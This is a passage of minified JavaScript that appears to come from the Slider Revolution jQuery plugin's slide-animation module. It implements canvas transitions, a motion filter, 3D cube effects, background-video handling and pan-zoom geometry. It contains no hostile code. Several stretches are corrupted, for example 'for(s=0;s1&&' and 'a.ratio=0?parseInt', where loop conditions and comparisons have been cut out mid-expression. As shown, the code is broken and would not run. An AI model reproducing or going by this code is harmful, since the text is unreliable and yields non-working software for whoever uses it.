0!==t.c&&100!==t.c?(""===a?"":" ")+"contrast(_c_%)":"",""!==(a+=void 0!==t.i&&0!==t.i?(""===a?"":" ")+"invert(_i_%)":"")&&(t.tl={filter:a.replace("_g_",parseFloat(t.g)).replace("_h_",parseFloat(t.h)).replace("_s_",parseFloat(t.s)).replace("_c_",parseFloat(t.c)).replace("_i_",parseFloat(t.i))}),void 0!==t.b&&"0px"!==t.b&&0!==t.b&&(void 0===t.tl?t.tl={blur:parseFloat(t.b)}:t.tl.blur=parseFloat(t.b)),void 0!==t.tl&&(e.add(tpGS.gsap.to(t.tl,t.ms/t.sec,void 0===t.tl.filter?{blur:0}:void 0===t.tl.blur?{filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}:{blur:0,filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}),0),i.canvasFilter=!0)}}},slidingoverlay:{getBasic:function(){return t.getBasic({attr:["x","y"],in:{m:!0,o:-1,_xy:20,_gxys:10,_gxye:-10,zIndex:20,e:"power1.inOut"},out:{m:!0,reversed:!1,_xy:-100,o:0,zIndex:10,e:"power1.inOut"}})},updateAnim:function(e,i,a){var r=void 0!==i.in.x&&0!==i.in.x&&"0%"!==i.in.x?"x":"y";i.in["g"+r+"s"]=t.SATools.getOffset(i.in[r],i.in._gxys,a,1)+"%",i.in["g"+r+"e"]=t.SATools.getOffset(i.in[r],i.in._gxye,a,1)+"%",i.out[r]=t.SATools.getOffset(i.in[r],i.out._xy,a,1)+"%",i.in[r]=t.SATools.getOffset(i.in[r],i.in._xy,a,1)+"%";var s=parseInt(i.in[r])>=0;return i.in.d="x"===r?s?"left":"right":s?"up":"down",i},beforeDraw:function(e,t,i,a){void 0!==i.d&&(i._dxs="right"===i.d?0+i.mw:"left"===i.d?0-i.mw:0,i._dys="down"===i.d?0+i.mh:"up"===i.d?0-i.mh:0,i._xs="left"===i.d?0-i.mw:0,i._ys="up"===i.d?0-i.mh:0,i._xe="right"===i.d?a.SLOT.OW+i.mw:"left"===i.d?a.SLOT.OW-i.mw:a.SLOT.OW,i._ye="down"===i.d?a.SLOT.OH+i.mh:"up"===i.d?a.SLOT.OH-i.mh:a.SLOT.OH,t.beginPath(),t.rect("left"===i.d?Math.max(0,i._xs):"right"===i.d?Math.min(0,i._xs):0,"up"===i.d?Math.max(0,i._ys):"down"===i.d?Math.min(0,i._ys):0,"left"===i.d?Math.max(a.SLOT.OW,i._xe):"right"===i.d?Math.min(a.SLOT.OW,i._xe):i._xe,"up"===i.d?Math.max(a.SLOT.OH,i._ye):"down"===i.d?Math.min(a.SLOT.OH,i._ye):i._ye),t.clip())},afterDraw:function(e,t,i,a,r){void 0!==i.d&&(t.save(),t.beginPath(),t.rect(Math.max(0,i._dxs),Math.max(0,i._dys),i._xe,i._ye),t.clip(),t.save(),t.transform(r.csx,r.ssx,r.ssy,r.csy,.5*a.SLOT.OW+i.x+i.sgx,.5*a.SLOT.OH+i.y+i.sgy),t.drawImage(void 0!==a.shadowCanvas?a.shadowCanvas:a.loadobj.img,0,0,a.SLOT.OW,a.SLOT.OH,i.sgx-a.SLOT.OW/2,i.sgy-a.SLOT.OH/2,a.SLOT.OW,a.SLOT.OH),t.restore(),t.fillStyle="rgba(0,0,0,0.6)",t.fillRect(i.gx,i.gy,a.SLOT.OW,a.SLOT.OH),t.restore())},extendTimeLine:function(e,i,a,r,s,o){"in"!==s.direction||void 0===r.gxe&&void 0===r.gye||(jQuery.extend(!0,a[0],{d:r.d,gx:void 0===r.gxs?0:2*t.SATools.getOffset(r.gxs,o.width,s.sdir,0),gy:void 0===r.gys?0:2*t.SATools.getOffset(r.gys,o.height,s.sdir,0),sgx:void 0===r.gxs?0:t.SATools.getOffset(r.gxs,o.width,s.sdir,0),sgy:void 0===r.gys?0:t.SATools.getOffset(r.gys,o.height,s.sdir,0),mw:0-o.width,mh:0-o.height}),i.add(tpGS.gsap.to(a,r.ms/r.sec,{gx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,o.width,s.sdir,0),gy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,o.height,s.sdir,0),sgx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,o.width,s.sdir,0),sgy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,o.height,s.sdir,0),mw:o.width,mh:o.height,ease:r.e}),0))}},motionFilter:{init:function(e,t){return void 0!==t&&parseFloat(t)>0?(t=parseFloat(t),e.fmExists=!0,e.fmShadow=void 0===e.fmShadow?document.createElement("canvas"):e.fmShadow,e.fmCtx=e.fmShadow.getContext("2d"),e.fmShadow.width=e.ctx.canvas.width,e.fmShadow.height=e.ctx.canvas.height,e.fmCtx.globalAlpha=tpGS.gsap.utils.mapRange(100,0,40,0,t)/100,e.fmCtx.clearRect(0,0,e.ctx.canvas.width,e.ctx.canvas.height)):e.fmExists=!1,t},render:function(e,t){"partial"===t&&(e.fmCtx.globalCompositeOperation="source-over"),e.fmCtx.drawImage(e.canvas,0,0,e.canvas.width,e.canvas.height),e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.ctx.drawImage(e.fmCtx.canvas,0,0,e.canvas.width,e.canvas.height),"partial"===t&&(e.fmCtx.globalCompositeOperation="source-atop"),"partial"!==t&&"full"!==t||(e.fmCtx.fillStyle="rgba(255, 255, 255, 0.1)",e.fmCtx.fillRect(0,0,e.canvas.width,e.canvas.height))},clearFull:function(e,t){e.fmExists&&void 0!==e.fmCtx&&(e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.fmCtx.clearRect(0,0,e.canvas.width,e.canvas.height),void 0!==t&&t.render(t.time(),!0,!0))},complete:function(e){e.fmShadow&&e.fmShadow.remove()}},d3:{ticker:function(e,t,i){if(void 0!==e.helper){var a=e.smi*("in"===i?e.helper.oo:e.helper.o),r=e.sma*("in"===i?e.helper.oo:e.helper.o);if(e.gradient="vertical"===e.d?"in"===i?t.ctx.createLinearGradient(0,0,0,t.canvas.height):t.ctx.createLinearGradient(0,t.canvas.height,0,0):"in"===i?t.ctx.createLinearGradient(0,0,t.canvas.width,0):t.ctx.createLinearGradient(t.canvas.width,0,0,0),e.gradient.addColorStop(0,"rgba("+e.sc+","+a+")"),e.gradient.addColorStop(e.sl,"rgba("+e.sc+","+r+")"),t.ctx.fillStyle=e.gradient,t.ctx.fillRect(0,0,t.canvas.width,t.canvas.height),void 0!==t.cube&&t.cube.ctx){var s=void 0!==e.roomhelper&&!1!==e.roomhelper&&(90-e.roomhelper.r)/90;a=!1!==s?s:e.smi*e.helper.o,r=!1!==s?s:e.sma*e.helper.o,t.cube.ctx.clearRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height),e.gradientW=!1!==s?"vertical"===e.d?e.t<0&&1===e.sdir||e.t>0&&-1===e.sdir?t.ctx.createRadialGradient(0,t.cube.ctx.canvas.width/2,0,0,0,2*t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width,0,0,0,0,2*t.cube.ctx.canvas.width):e.t>0&&1===e.sdir||e.t<0&&-1===e.sdir?t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):"vertical"===e.d?t.ctx.createLinearGradient(0,0,0,t.cube.ctx.canvas.height):t.ctx.createLinearGradient(0,0,t.cube.ctx.canvas.width,0),e.gradientW.addColorStop(0,"rgba("+e.sc+","+(!1!==s?"a"===e.DIR?r:0:"a"===e.DIR?0:r)+")"),e.gradientW.addColorStop(1,"rgba("+e.sc+","+(!1!==s?"a"===e.DIR?0:r:"a"===e.DIR?r:0)+")"),t.cube.ctx.fillStyle=e.gradientW,t.cube.ctx.fillRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height)}}},setWall:function(e,t,i,a,r,s){return e.TL=tpGS.gsap.timeline(),e.TL.add(tpGS.gsap.to(e.c,.2,{display:"block"}),0),"rotationX"===i?(e.ctx.canvas.width=a.w,e.ctx.canvas.height=a.w,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:a.w,height:a.w,transformOrigin:"50% 50% -"+a.w/2+"px",x:0,y:t>0?-(a.w-a.h):0,rotationX:t>0?-90:90,rotationY:0}),0)):(e.ctx.canvas.width=s?a.w:a.h,e.ctx.canvas.height=a.h,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:s?a.w:a.h,height:a.h,transformOrigin:"50% 50% -"+(s?a.w:a.h)/2+"px",x:t<0?a.w-a.h:0,y:0,rotationX:0,rotationY:t>0?-90:90}),0)),e.TL},buildCube:function(e){e.cube={c:document.createElement("div"),w:document.createElement("canvas")},e.cube.ctx=e.cube.w.getContext("2d"),e.cube.c.className="rs_fake_cube",e.cube.w.className="rs_fake_cube_wall",tpGS.gsap.set(e.cube.c,{width:e.mDIM.w,height:e.mDIM.h}),tpGS.gsap.set(e.cube.w,{width:e.mDIM.w,height:e.mDIM.h,backgroundColor:"#ccc"}),e.cube.c.appendChild(e.cube.w),e.sbg.appendChild(e.cube.c)},cubeTL:function(e,i,a,r){if("none"!==i.f&&void 0!==i.f){a.sbg.style.transformStyle="preserve-3d";var s=tpGS.gsap.timeline(),o="incube"===i.f?1:-1,n="incube"===i.f||"cube"===i.f,l="fly"===i.f?-30:90,d="turn"!==i.f&&!1!==i.t&&(_R_is_Editor||!0===t[e].firstSlideAnimDone),S=-1*i.z,c={},p={z:d?0:S,ease:"power1.inOut"},u={ease:i.e},R=[a.canvas],V=n?"50% 50% ":"20% 20% ",m="rotationX",y="rotationY",g="y",f="height",h=i.fd;if("vertical"!==i.d?(m="rotationY",y="rotationX",g="x",f="width",i.DIR=1===i.sdir?"b":"a"):i.DIR=1===i.sdir?"a":"b",f="width"===f?"w":"height"===f?"h":f,"turn"===i.f?(l="vertical"===i.d?-120:120,V="vertical"===i.d?1===i.sdir?"in"===r?"0% 0% 0%":"0% 100% 0%":"in"===r?"0% 100% 0%":"0% 0% 0%":1===i.sdir?"in"===r?"0% 0% 0%":"100% 0% 0%":"in"===r?"100% 0% 0%":"0% 0% 0%",p.z=0,u.ease="out"===r?"power3.out":u.ease,h="out"===r?h/2:h):V+=o*a.mDIM[f]/2+"px",u[m]=0,u[g]=0,"in"===r?c[m]=l*i.sdir:u[m]=-l*i.sdir,"fly"===i.f){var v=void 0===i.fz?20*Math.random()-10:parseInt(i.fz);"in"===r?(c[g]=a.mDIM[f]*(void 0===i.fdi?1.5:parseFloat(i.fdi))*i.sdir,c.rotateZ=i.sdir*v,u.rotateZ=0):(u[g]=a.mDIM[f]*(void 0===i.fdo?2:parseFloat(i.fdo))*i.sdir*-1,u.rotateZ=i.sdir*v*-1)}if(a.sbg.style.perspective=d?"2500px":"1500px",d){var _={z:S*("fly"===i.f?1.5:3),ease:"power1.inOut"},L={z:0,ease:"power1.inOut"};_[y]=-1*i.t,L[y]=0,i.roomhelper={r:0},s.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:1200,transformStyle:"preserve-3d",transformOrigin:V}),0),s.add(tpGS.gsap.to(a.sbg,3*i.md,_),0),s.add(tpGS.gsap.to(a.sbg,3*i.md,L),h-i.md),s.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:Math.abs(i.t)}),0),s.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:0}),h-i.md),"in"===r&&1!==o&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),s.add(t.transitions.d3.setWall(a.cube,_[y],y,a.mDIM,i.c),0),R.push(a.cube.c))}else i.roomhelper=!1,s.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:"none",transformStyle:"none",transformOrigin:"50% 50%"}),0),!_R_is_Editor&&!0!==t[e].firstSlideAnimDone&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),s.add(t.transitions.d3.setWall(a.cube,c[m],m,a.mDIM,i.c,!0),0),s.add(tpGS.gsap.fromTo(a.cube.w,4*i.md,{opacity:0},{opacity:1}),0),R.push(a.cube.c));return i.helper={o:0,oo:1},s.add(tpGS.gsap.to(i.helper,h,{o:1,oo:0,ease:i.e}),i.md+0),s.add(tpGS.gsap.set(R,jQuery.extend(!0,{},c,{force3D:!0,transformOrigin:V})),0),"turn"!==i.f&&s.add(tpGS.gsap.to(R,3*i.md,p),0),s.add(tpGS.gsap.to(R,h,u),i.md+0),"turn"!==i.f&&s.add(tpGS.gsap.to(R,3*i.md,{z:0,ease:"power1.inOut"}),h-i.md),"out"===r&&1!==o&&s.add(tpGS.gsap.to(R,2*i.md,{opacity:0}),i.dur-2*i.md),s}}}},animatedCanvasUpdate:function(e,i){i.cDIMS=t.getBGCanvasDetails(e,i),i.canvas.style.backgroundColor="transparent",i.canvas.style.opacity=1,i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),_R_is_Editor||!0!==t[e].clearModalBG||(i.ctx.clearRect(0,0,i.canvas.width,i.canvas.height),t[e].clearModalBG=!1,i.sbg.parentNode.style.opacity=1),i.col=Math.min(i.col||1,i.canvas.width-10),i.row=Math.min(i.row||1,i.canvas.height-10),i.SLOT=jQuery.extend(!0,{s:{},c:{}},a(e,i.col,i.row,i.mDIM,"OW","OH")),i.SLOT.DX=0-i.SLOT.OW/2,i.SLOT.DY=0-i.SLOT.OH/2,i.row=Math.ceil(i.mDIM.height/i.SLOT.OH)||1,void 0!==i.callFromAnimatedCanvasUpdate&&i.callFromAnimatedCanvasUpdate()},slideAnimFinished:function(e,i,a,r){void 0!==i&&(void 0!==i.bgvid&&i.bgvid.length>0&&"out"===a.direction&&(i.drawVideoCanvasImagesRecall=!1,t.stopVideo(i.bgvid,e),i.bgvid[0].style.display="none",i.bgvid[0].style.zIndex=0),i.panFake&&i.panFake.img&&("out"===a.direction?i.panFake.img.style.display="none":i.panFake.img.style.display="block"),"in"===a.direction&&(t.transitions.motionFilter.complete(i),i.ctx.canvas.style.filter="none",tpGS.gsap.set(a.slide,{zIndex:20}),delete i.animateDirection,i.bgvid.length>0&&(i.isHTML5?tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1}):(t.resetVideo(i.bgvid,e),tpGS.gsap.delayedCall(.1,function(){t.playVideo(i.bgvid,e,!0),tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1})})))),"out"===a.direction?(tpGS.gsap.set(a.slide,{zIndex:10}),tpGS.gsap.set(i.canvas,{rotationX:0,rotationY:0,rotationZ:0,x:0,y:0,z:0,opacity:1}),i.currentState=void 0):i.currentState="idle",void 0!==i.cube&&(i.cube.c.style.display="none"),"in"===a.direction&&(t.updateSlideBGs(e,i.skeyindex,i),void 0===i.panzoom||_R_is_Editor||t.startPanZoom(t[e].pr_next_bg,e,void 0!==t[e].panzoomTLs[i.skeyindex]?t[e].panzoomTLs[i.skeyindex].progress():0,i.skeyindex,"play",i.key),void 0!==a.BG&&!0!==r&&a.BG.ctx.clearRect(0,0,2*i.canvas.width,2*i.canvas.height)))},animateCore:function(e,i,a,r){var s,o,n,l,d=i.canvas,S=i.ctx,c=0;if(i.col=a.col,i.row=a.row,_R_is_Editor&&i.three){for(i.canvas.style.display="block";i.three.scene.children.length>0;)i.three.scene.remove(i.three.scene.children[0]);i.three.canvas.parentNode.removeChild(i.three.canvas),i.three=void 0}t.animatedCanvasUpdate(e,i),a.row=i.row,i.animateDirection=r.direction,r.delay=void 0===r.delay?0:r.delay,n=a.col*a.row,l=Array(n),void 0===i.help_canvas&&"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas=document.createElement("canvas"),i.help_ctx=i.help_canvas.getContext("2d"),i.help_canvas.style.backgroundColor="transparent"),"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas.width=i.mDIM.width,i.help_canvas.height=i.mDIM.height,i.help_ctx.fillStyle=r.bgColor,i.help_ctx.fillRect(0,0,i.mDIM.width,i.mDIM.height)),a.mo=t.transitions.motionFilter.init(i,a.mo),a.dur=a.ms/a.sec,void 0!==r.d3&&(r.d3.dur=a.dur,r.d3.fd=.7*a.dur,r.d3.md=.15*a.dur,r.d3.sdir=r.sdir),i.SLOT.c={ws:0,hs:0,wd:0,hd:0},a.mo>0&&_R_is_Editor&&S.clearRect(0,0,d.width,d.height);var p=tpGS.gsap.timeline({onUpdate:function(){if(c=0,a.mo>0?t.transitions.motionFilter.render(i,a.moo):S.clearRect(0,0,d.width,d.height),i.help_canvas&&"out"===r.direction&&S.drawImage(i.help_canvas,0,0),(r.filter&&r.filter.u||!_R_is_Editor)&&t.transitions.filter.update(r.filter,S,i.canvasFilterBlur),_R_is_Editor&&0!==a.zIndex&&void 0!==a.zIndex&&tpGS.gsap.set(r.slide,{zIndex:a.zIndex}),void 0!==i.shadowCanvas)for(s=0;s1&&i.SLOT.SH>1&&S.drawImage(i.shadowCanvas,i.SLOT.SX,i.SLOT.SY,i.SLOT.SW,i.SLOT.SH,i.SLOT.DX,i.SLOT.DY,i.SLOT.DW,i.SLOT.DH),S.restore(),t.transitions[r.effect]&&t.transitions[r.effect].afterDraw&&t.transitions[r.effect].afterDraw(e,S,l[c],i,{csx:p,csy:u,ssx:R,ssy:V}),c++}void 0!==r.d3&&r.d3.su&&t.transitions.d3.ticker(r.d3,i,r.direction),i.currentState="animating"},onComplete:function(){t.slideAnimFinished(e,i,r)}});if(a.col*a.row<2&&(a.f="start"),0!==a.zIndex&&void 0!==a.zIndex&&p.add(tpGS.gsap.set(r.slide,{zIndex:parseInt(a.zIndex,0)}),0),a.m="false"!=a.m&&!1!==a.m,"in"===r.direction){for(s=0;s0&&void 0!==t[e].pr_next_bg[0],d=!!_R_is_Editor||void 0!==t[e].pr_active_bg&&t[e].pr_active_bg.length>0&&void 0!==t[e].pr_active_bg[0],c=_R_is_Editor?RVS.SBGS[RVS.S.slideId].n:l?t[e].sbgs[t[e].pr_next_bg[0].dataset.key]:void 0,p=_R_is_Editor?RVS.SBGS[RVS.S.slideId].c:d?t[e].sbgs[t[e].pr_active_bg[0].dataset.key]:void 0;o=1===o?-1:1,_R_is_Editor||(delete t[e].sc_indicator,delete t[e].sc_indicator_dir),s=jQuery.extend(!0,{},function(e,a,s){var o=void 0!==t.transitions[a.anim.e]&&void 0!==t.transitions[a.anim.e].getBasic?t.transitions[a.anim.e].getBasic():t.getBasic(),n="";o.out=null==o.out?{}:o.out,o.out.reversed=void 0===a.out&&(void 0===o.out.reversed||o.out.reversed);void 0!==a.iw&&parseInt(a.iw,0),void 0!==a.ow&&parseInt(a.ow,0);for(var l in o.attr)n=o.attr[l],o.in[n]=i(o.in[n],a.in[n]),o.out[n]=o.out.reversed?o.in[n]:void 0===a.out?o.out[n]:i(o.out[n],a.out[n]);return o.filter=void 0!==a.filter?jQuery.extend(!0,a.filter,a.filter):o.filter,t.transitions[a.anim.e]&&t.transitions[a.anim.e].updateAnim&&(o=t.transitions[a.anim.e].updateAnim(e,o,s)),o.e=a.anim.e,void 0!==o.in&&(o.in.col="random"===o.in.col?tpGS.gsap.utils.random(1,10,1):r(o.in.col),o.in.row="random"===o.in.row?tpGS.gsap.utils.random(1,10,1):r(o.in.row)),void 0!==o.out&&(o.out.col="random"===o.out.col?tpGS.gsap.utils.random(1,10,1):r(o.out.col),o.out.row="random"===o.out.row?tpGS.gsap.utils.random(1,10,1):r(o.out.row)),o}(e,a,o)),void 0!==c.random&&void 0!==t.SLTR&&void 0!==p&&(delete p.help_canvas,delete p.help_ctx),s.ms=i(void 0,void 0===a.anim.ms?1e3:a.anim.ms),s.f=i(void 0,a.anim.f),s.p=i(void 0,a.anim.p),s.d=i(void 0,a.anim.d),s.o=a.anim.o,void 0!==a.d3&&(a.d3.t=void 0!==a.d3.t&&0!==a.d3.t&&a.d3.t,a.d3.su="true"==a.d3.su||1==a.d3.su,a.d3.su&&(a.d3.smi=void 0===a.d3.smi?0:parseFloat(a.d3.smi),a.d3.sl=void 0===a.d3.sl?1:parseFloat(a.d3.sl),a.d3.sma=void 0===a.d3.sma?.5:parseFloat(a.d3.sma),a.d3.sc=void 0===a.d3.sc?"0,0,0":tpGS.gsap.utils.splitColor(a.d3.sc).join(",")),s.p="none",void 0!==s.in.row&&void 0!==s.in.col&&s.in.row*s.in.col>200&&(s.filter=void 0)),s.in.sec=void 0===s.in.sec?1e3:s.in.sec,s.in.stasec=void 0===s.in.stasec?void 0===s.d?1500:100*s.d:s.in.stasec,s.in.ms="default"===s.ms||"d"===s.ms?s.in.ms:"random"===s.ms?Math.round(1e3*Math.random()+300):null!=s.ms?parseInt(s.ms,0):s.in.ms,s.out.ms=s.in.ms,void 0!==s.filter&&(s.filter.ms=s.in.ms,s.filter.sec=s.in.sec,s.filter.e=void 0===s.filter.e||"default"===s.filter.e?s.in.e:s.filter.e),s.in.f=void 0===s.f||"default"===s.f||"d"===s.f?s.in.f:s.f,s.in.f="slidebased"===s.in.f?1==o?"start":"end":"oppslidebased"===s.in.f?1===o?"end":"start":s.in.f,s.out.f=s.in.f,s.out=jQuery.extend(!0,{},s.in,s.out),s.in.eng=s.out.eng=a.anim.eng,void 0!==s.out.eng&&null==t[s.out.eng]&&(s.out.o=0,s.in.o=0,s.in.ms=s.out.ms=1e3,s.in.eng=s.out.eng="animateCore"),void 0!==s.p&&"none"!==s.p&&(s.in.bg="dark"===s.p?"#000":"light"===s.p?"#fff":"transparent",s.out.delay="none"!==s.p?function(e,t){return e/2.5}:0,1===s.out.o&&0===s.out.x&&0===s.out.y&&(s.out.o=0)),"forceinout"===s.o?(s.in.zIndex=20,s.out.zIndex=10):"outin"!==s.o&&(1!==s.in.o||0!==s.in.x||0!==s.in.y||void 0===a.out||1===s.out.o&&0===s.out.x&&0===s.out.y)||(s.in.zIndex=10,s.out.zIndex=20),c.bgvid.length>0&&(s.in=S(e,s.in,c,"in")),d&&void 0!==p.bgvid&&p.bgvid.length>0&&(s.out=S(e,s.out,p,"out")),void 0!==s.out&&(s.out.simplify||s.in.simplify)&&(s.out=n(s.out)),s.in.simplify&&(s.in=n(s.in)),_R_is_Editor||requestAnimationFrame(function(){t.generalObserver(t.ISM,!0)}),s.in.eng=void 0===s.in.eng?"animateCore":s.in.eng,s.out.eng=void 0===s.out.eng?"animateCore":s.out.eng,d&&!0!==s.out.skip&&t[s.out.eng](e,p,s.out,{effect:s.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,direction:"out",delay:0,bgColor:s.in.bg,sdir:o,filter:void 0,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0}),!0!==s.in.skip&&t[s.in.eng](e,c,s.in,{effect:s.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].n.sbg:t[e].pr_next_slide,direction:"in",delay:d?"function"==typeof s.out.delay?s.out.delay(s.in.ms/1e3,s.out.row*s.out.col):s.out.delay:s.in.delay,BG:p,outslide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,sdir:o,filter:s.filter,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0})},o=function(e,i,a){var r=e.height/e.width;if(a.ratio=a.conth/a.contw,a.ratior&&"cover"===i.bgfit)a.height=e.width*a.ratio;else if(a.ratio>r&&"contain"===i.bgfit||a.ratio=0?parseInt(a[0],0)/100*e.width-parseInt(a[0],0)/100*i.width:parseInt(a[0],0),y:"center"===a[1]||"50%"===a[1]?(e.height-i.height)/2:"top"===a[1]?0:"bottom"===a[1]?e.height-i.height:t.isNumeric(a[1])?0:a[1].indexOf("%")>=0?parseInt(a[1],0)/100*e.height-parseInt(a[1],0)/100*i.height:parseInt(a[1],0)}}(e,a,i.bgposition);return a.x=o.x,a.y=o.y,a},n=function(e){return e.o=0,e.r=0,e.row=1,e.col=1,e.x=0,e.y=0,e.sx=1,e.sy=1,e},l=function(e){return e="false"!==e&&!1!==e&&"off"!==e&&void 0!==e&&0!==e&&-1!==e},d=function(e){var t=e.toString(16);return 1==t.length?"0"+t:t},S=function(e,i,a,r){return i.skip=!1,"in"===r?a.isHTML5?(a.bgvid[0].style.display="none",t.resetVideo(a.bgvid,e),a.animateDirection="in",a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),t.playVideo(a.bgvid,e)):(t[e].videos[a.bgvid[0].id].pauseCalled=!1,i.waitToSlideTrans=t[e].videos[a.bgvid[0].id].waitToSlideTrans,!0!==a.poster?(t.resetVideo(a.bgvid,e),t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,!0!==i.waitToSlideTrans&&t.playVideo(a.bgvid,e,!0),tpGS.gsap.fromTo(a.bgvid,i.ms/i.sec,{zIndex:30,display:"block",opacity:0},{opacity:1,zIndex:30,display:"block"}),a.loadobj.bgColor=!0,a.bgcolor="#000",i.simplify=!0):(t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e),a.bgvid[0].style.display="none",a.bgvid[0].style.zIndex=0,a.bgvid[0].style.opacity=0)):"out"===r&&(a.isHTML5?(a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),window.requestAnimationFrame(function(){tpGS.gsap.to(a.bgvid,.1,{zIndex:0,display:"none"})})):(t.stopVideo(a.bgvid,e,!0),!0!==a.poster&&(a.loadobj.bgColor=!0,a.bgcolor="#000"))),i},c=function(e,t,i,a){return Math.sqrt(Math.pow(e-i,2)+Math.pow(t-a,2))},p=function(e,t){var i=t+Math.PI/2;return{x1:e.x,y1:e.y,x2:e.x+100*Math.cos(i),y2:e.y+100*Math.sin(i)}},u=function(e,t){var i=e.y2-e.y1,a=e.x1-e.x2,r=i*e.x1+a*e.y1,s=t.y2-t.y1,o=t.x1-t.x2,n=s*t.x1+o*t.y1,l=i*o-s*a;return 0!==l&&{x:Math.round((o*r-a*n)/l*100)/100,y:Math.round((i*n-s*r)/l*100)/100}};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.slideanims={loaded:!0,version:"6.6.0"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),function(e){"use strict";window._R_is_Editor?RVS._R=void 0===RVS._R?{}:RVS._R:window._R_is_Editor=!1,jQuery.fn.revolution=jQuery.fn.revolution||{};var t=_R_is_Editor?RVS._R:jQuery.fn.revolution;jQuery.extend(!0,t,{bgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].module.width},bgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?t[e].carousel.slide_height:t[e].module.height},getPZSides:function(e,t,i,a,r,s,o){var n=e*i,l=t*i,d=Math.abs(a-n),S=Math.abs(r-l),c=new Object;return c.l=(0-s)*d,c.r=c.l+n,c.t=(0-o)*S,c.b=c.t+l,c.h=s,c.v=o,c},getPZCorners:function(e,i,a,r){var s=e.bgposition.split(" ")||"center center",o="center"==s[0]?"50%":"left"==s[0]||"left"==s[1]?"0%":"right"==s[0]||"right"==s[1]?"100%":s[0],n="center"==s[1]?"50%":"top"==s[0]||"top"==s[1]?"0%":"bottom"==s[0]||"bottom"==s[1]?"100%":s[1];o=parseInt(o,0)/100||0,n=parseInt(n,0)/100||0;var l=new Object;return l.start=t.getPZSides(r.start.width,r.start.height,r.start.scale,i,a,o,n),l.end=t.getPZSides(r.start.width,r.start.height,r.end.scale,i,a,o,n),l},getPZValues:function(e){var t=e.panzoom.split(";"),i={duration:10,ease:"none",scalestart:1,scaleend:1,rotatestart:.01,rotateend:0,blurstart:0,blurend:0,offsetstart:"0/0",offsetend:"0/0"};for(var a in t)if(t.hasOwnProperty(a)){var r=t[a].split(":"),s=r[0],o=r[1];switch(s){case"d":i.duration=parseInt(o,0)/1e3;break;case"e":i.ease=o;break;case"ss":i.scalestart=parseInt(o,0)/100;break;case"se":i.scaleend=parseInt(o,0)/100;break;case"rs":i.rotatestart=parseInt(o,0);break;case"re":i.rotateend=parseInt(o,0);break;case"bs":i.blurstart=parseInt(o,0);break;case"be":i.blurend=parseInt(o,0);break;case"os":i.offsetstart=o;break;case"oe":i.offsetend=o}}return i.offsetstart=i.offsetstart.split("/")||[0,0],i.offsetend=i.offsetend.split("/")||[0,0],i.rotatestart=0===i.rotatestart?.01:i.rotatestart,e.panvalues=i,e.bgposition="center center"==e.bgposition?"50% 50%":e.bgposition,i},pzCalcL:function(e,i,a){var r,s,o,n,l,d,S=void 0===a.panvalues?jQuery.extend(!0,{},t.getPZValues(a)):jQuery.extend(!0,{},a.panvalues),c=S.offsetstart,p=S.offsetend,u={start:{width:e,height:_R_is_Editor?e/a.loadobj.width*a.loadobj.height:e/a.owidth*a.oheight,rotation:Math.PI/180*S.rotatestart,rotationV:S.rotatestart,scale:S.scalestart,transformOrigin:"0% 0%"},end:{rotation:Math.PI/180*S.rotateend,rotationV:S.rotateend,scale:S.scaleend}};S.scalestart,a.owidth,a.oheight,S.scaleend,a.owidth,a.oheight;return 